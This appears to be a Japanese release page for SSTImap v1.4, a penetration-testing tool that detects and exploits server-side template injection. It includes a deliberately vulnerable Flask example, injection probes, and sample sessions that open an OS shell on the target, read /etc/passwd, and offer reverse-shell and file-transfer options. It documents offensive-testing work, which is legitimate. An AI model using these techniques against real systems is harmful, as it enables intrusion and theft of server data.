アップデート一覧に戻る
New releaseAug 26, 2026

SSTImap v1.4

対話型インターフェースを備えた自動SSTI検出ツール

共有

SSTImap

Version 1.4 Python 3.14 Python 3.6 GitHub GitHub last commit Maintenance

このプロジェクトは Tplmap に基づいています。

SSTImap は、Webサイトのコードインジェクションおよびサーバーサイドテンプレートインジェクションの脆弱性を検査し、それを悪用してオペレーティングシステム自体へのアクセスを提供するペネトレーションテストソフトウェアです。

このツールは、SSTIの検出と悪用のための対話型ペネトレーションテストツールとして使用できるように開発されており、より高度な悪用が可能です。SSTImap 用の追加ペイロードは こちら にあります。

ペイロードと技術は以下の情報源から提供されています:

このツールは、いくつかのコードコンテキストエスケープやブラインドインジェクションシナリオを悪用できます。また、Java、JavaScript、PHP、Python、Ruby および一般的なサンドボックス化されていないテンプレートエンジンにおける eval() に類似したコードインジェクションもサポートしています。

Tplmap との主な違い

このソフトウェアは Tplmap のコードに基づいていますが、後方互換性は提供されていません。

  • SSTIの検出と悪用のための新しい2つの技術を追加
  • 悪用と検出を容易にする対話モード (-i)
  • ペイロード反射時のレスポンスマーカーとしての単純な評価ペイロード
  • 汎用テンプレート用の新しいペイロードを追加。すべてのコンテキストをテストするには --generic を使用
  • Eval_generic モジュールを使用した汎用評価テンプレートインジェクションの検出
  • ベース言語の eval() に類似したシェル (-x) または単一コマンド (-X) の実行
  • ブラインドファイルアップロードが MD5 確認とファイル存在チェックをサポート
  • より多くのテンプレート用の新しいペイロードを追加し、既存の多くのペイロードを更新
  • 追加のプラグインインストールを可能にするモジュラープラグイン構造
  • さまざまな POST データタイプのサポート
  • クローリングとフォーム検出を追加
  • 多くの引数に短縮版を追加
  • 一部の古いコマンドライン引数は変更されました。ヘルプは -h を確認してください
  • コードはより新しい Python 機能を使用するように変更されました
  • Jython が Python3 をサポートしていないため、Burp Suite 拡張機能は一時的に削除されました

サーバーサイドテンプレートインジェクション

これは、Python で Flask フレームワークと Jinja2 テンプレートエンジンを使用して書かれた単純な Web サイトの例です。ユーザーが指定した変数 name を、レンダリング前にテンプレート文字列に連結するという安全でない方法で統合しています。

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    # SSTI VULNERABILITY:
    template = f"Hello, {name}!<br>\n" \
                "OS type: {{os}}"
    return render_template_string(template, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

このテンプレートの使用方法は XSS 脆弱性を生み出すだけでなく、攻撃者がサーバー上で実行されるテンプレートコードを注入することを可能にし、SSTI につながります。

$ curl -g 'https://www.target.com/page?name=John'
Hello John!<br>
OS type: posix
$ curl -g 'https://www.target.com/page?name={{7*7}}'
Hello 49!<br>
OS type: posix

ユーザーが指定した入力は、レンダリングコンテキストを通じて安全な方法で導入されるべきです:

from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route("/page")
def page():
    name = request.args.get('name', 'World')
    template = "Hello, {{name}}!<br>\n" \
               "OS type: {{os}}"
    return render_template_string(template, name=name, os=os.name)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

既定モード

既定モードの SSTImap は Tplmap と非常に似ています。複数の異なるテンプレートにおける SSTI 脆弱性の検出と悪用が可能です。

悪用後、SSTImap はコード評価、OS コマンド実行、ファイルシステム操作へのアクセスを提供できます。

URL を確認するには、-u 引数を使用できます:

$ ./sstimap.py -u https://example.com/page?name=John

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program


[*] Testing if GET parameter 'name' is injectable   
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Rerun SSTImap providing one of the following options:
    --os-shell                   Prompt for an interactive operating system shell
    --os-cmd                     Execute an operating system command.
    --eval-shell                 Prompt for an interactive shell on the template engine base language.
    --eval-cmd                   Evaluate code in the template engine base language.
    --tpl-shell                  Prompt for an interactive shell on the template engine.
    --tpl-cmd                    Inject code in the template engine.
    --bind-shell PORT            Connect to a shell bind to a target port
    --reverse-shell HOST PORT    Send a shell back to the attacker's port
    --upload LOCAL REMOTE        Upload files to the server
    --download REMOTE LOCAL      Download remote files

--os-shell オプションを使用して、ターゲット上で擬似ターミナルを起動します。

$ ./sstimap.py -u https://example.com/page?name=John --os-shell

    ╔══════╦══════╦═══════╗ ▀█▀
    ║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
    ║ ╚════╣ ╚════╗  ║ ║    ║{║ _ __ ___   __ _ _ __
    ╚════╗ ╠════╗ ║  ║ ║    ║*║ | '_ ` _ \ / _` | '_ \
    ╔════╝ ╠════╝ ║  ║ ║    ║}║ | | | | | | (_| | |_) |
    ╚══════╩══════╝  ╚═╝    ╚╦╝ |_| |_| |_|\__,_| .__/
                             │                  | |
                                                |_|
[*] Version: 1.4.0
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal. 
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: languages: 6; generic: 5; java: 4; javascript: 7; php: 3; python: 5; ruby: 2
[*] Loaded request body types by categories: auto: 1; http: 1; object: 2; raw: 3


[*] Testing if GET parameter 'name' is injectable
[*] Smarty plugin is testing rendering with tag '*'
...
[*] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{*}}'
[+] SSTImap identified the following injection point:

  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

    Shell command execution: ok
    Bind and reverse shell: ok
    File write: ok
    File read: ok
    Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ whoami
root
posix-linux $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

オプションの完全なリストを取得するには、--help 引数を使用します。

対話モード

対話モードでは、コマンドを使用して SSTImap と対話します。対話モードに入るには、-i 引数を使用できます。悪用ペイロードに関する引数を除くすべての引数は、設定の初期値として使用されます。

一部のコマンドは、テスト実行間で設定を変更するために使用されます。テストを実行するには、ターゲット URL を初期 -u 引数または url コマンドで指定する必要があります。その後、run コマンドを使用して URL の SSTI を確認できます。

SSTI が見つかった場合、コマンドを使用して悪用を開始できます。既定モードと同じ悪用機能を使用できますが、Ctrl+C を使用してプログラムを停止せずに中断できます。

ちなみに、テスト結果はターゲット URL が変更されるまで有効なので、毎回検出テストを実行することなく、悪用方法を簡単に切り替えることができます。

対話コマンドの完全なリストを取得するには、対話モードで help コマンドを使用します。

サポートされているテンプレートエンジン

SSTImap は複数のテンプレートエンジンと eval() に類似したインジェクションをサポートしています。

新しいペイロードは PR で歓迎します。開発を迅速化するには、ヒント を確認してください。

EngineRCETechLanguageType
FreemarkerREBTJavaDefault
Java generic EL injectionsREBTJavaDefault
OGNL (Object-Graph Navigation Language code eval)REBTJavaDefault
VelocityREBTJavaDefault
NunjucksREBTJavaScriptDefault
Velocity.jsREBTJavaScriptDefault
JavaScript (code eval)REBTJavaScriptDefault
JavaScript-based generic templatesREBTJavaScriptDefault
Twig (>=1.41; >=2.10; >=3.0)REBTPHPDefault
PHP (code eval)REBTPHPDefault
PHP-based generic templatesREBTPHPDefault
Jinja2REBTPythonDefault
Python (code eval)REBTPythonDefault
Python-based generic templatesREBTPythonDefault
ERBREBTRubyDefault
Mustache (<=1.1.2; detection only)×reb_RubyDefault
SlimREBTRubyDefault
Ruby (code eval)REBTRubyDefault
Generic evaluating templates×Reb_*Default
SpEL (Spring EL code eval)REBTJavaGeneric
doTREBTJavaScriptGeneric
EJSREBTJavaScriptGeneric
MarkoREBTJavaScriptGeneric
PugREBTJavaScriptGeneric
SmartyREBTPHPGeneric
CheetahREBTPythonGeneric
MakoREBTPythonGeneric
TornadoREBTPythonGeneric
Dust (<= [email protected])REBTJavaScriptLegacy
Twig (<=1.19.0)REBTPHPLegacy
Pybars3 / Pybars4REBTPythonLegacy
TempliteREBTPythonLegacy
SSI (Server-Side Includes injection)R__TSSILegacy
Obscure evaluating syntaxes×Reb_*Legacy
CVE-2025-1302REBTJavaScriptExtra
CVE-2025-13204REBTJavaScriptExtra
CVE-2022-23614REBTPHPExtra
CVE-2024-6386REBTPHPExtra
CVE-2026-46640REBTPHPExtra

技術: (R)endered, (E)rror-based, (B)oolean error-based blind, (T)ime-based blind; 小文字は部分的にサポートされている技術を示します

その他のプラグインとペイロードは SSTImap Extra Plugins リポジトリにあります。

Burp Suite プラグイン

現在、Burp Suite は Python2 を実行する方法として Jython でのみ動作します。Python3 機能は提供されていません。

今後の計画

このリストから大きな貢献を計画している場合は、私や他の貢献者と同じ作業を避けるために私に知らせてください。

  • さまざまなエンジン用のペイロードを追加
  • プラグインをベースプラグインへの依存度を低くする
  • ファイルから生の HTTP リクエストを解析
  • 変数ダンプ機能
  • ブラインド/サイドチャネル値抽出
  • より良いドキュメント (または少なくとも何らかのドキュメント)
  • 対話コマンドとしての短い引数?
  • スクリプト統合のための JSONL/プレーンテキスト API モード?
  • Python スクリプトのより良い統合
  • Multipart POST データタイプのサポート
  • よりカスタマイズ可能なリクエスト用モジュール (セカンドオーダー、リセット、非 HTTP)
  • ペイロード処理スクリプト
  • より良い設定機能
  • 見つかった脆弱性の保存
  • HTML またはその他の形式でのレポート
  • 複数行言語評価?
  • ペイロードのプラットフォーム依存を回避
  • exec ベースの RCE シナリオで複数のシェルをテスト
  • process.mainModule が未定義の場合があるため NodeJS ペイロードを更新
  • Spider/クローラー自動化 (fantesykikachu による)
  • 言語とエンジンの自動インポート
  • より多くの POST データタイプのサポート
  • テンプレートとベース言語の評価機能をより統一
  • エスケープコードを削除する引数?

カテゴリ